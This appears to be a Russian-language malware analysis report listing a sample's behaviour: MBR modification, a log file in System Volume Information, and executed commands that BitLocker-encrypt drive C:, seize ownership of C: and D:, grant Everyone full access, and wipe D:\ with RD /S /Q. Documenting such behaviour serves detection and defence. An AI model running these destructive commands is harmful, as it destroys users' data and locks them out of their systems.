Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует главную загрузочную запись (MBR).
Изменения в файловой системе
Создает следующие файлы
- volume{04a3ba50-582d-11ef-9a48-806e6f6e6963}\system volume information\tracking.log.tmp
Перемещает следующие файлы
- volume{04a3ba50-582d-11ef-9a48-806e6f6e6963}\system volume information\tracking.log.tmp в volume{04a3ba50-582d-11ef-9a48-806e6f6e6963}\system volume information\tracking.log
Другое
Запускает на исполнение
- '<SYSTEM32>\manage-bde.exe' -on C: -EncryptionMethod AES-256
- '<SYSTEM32>\cmd.exe' /c takeown /f D:\ /r /d Y
- '<SYSTEM32>\takeown.exe' /f D:\ /r /d Y
- '<SYSTEM32>\cmd.exe' /c icacls D:\ /grant Everyone:F /t /c /l
- '<SYSTEM32>\icacls.exe' D:\ /grant Everyone:F /t /c /l
- '<SYSTEM32>\cmd.exe' /c RD D:\ /S /Q
- '<SYSTEM32>\cmd.exe' /c takeown /f C:\ /r /d Y
- '<SYSTEM32>\takeown.exe' /f C:\ /r /d Y
- '<SYSTEM32>\cmd.exe' /c icacls C:\ /grant Everyone:F /t /c /l
- '<SYSTEM32>\icacls.exe' C:\ /grant Everyone:F /t /c /l
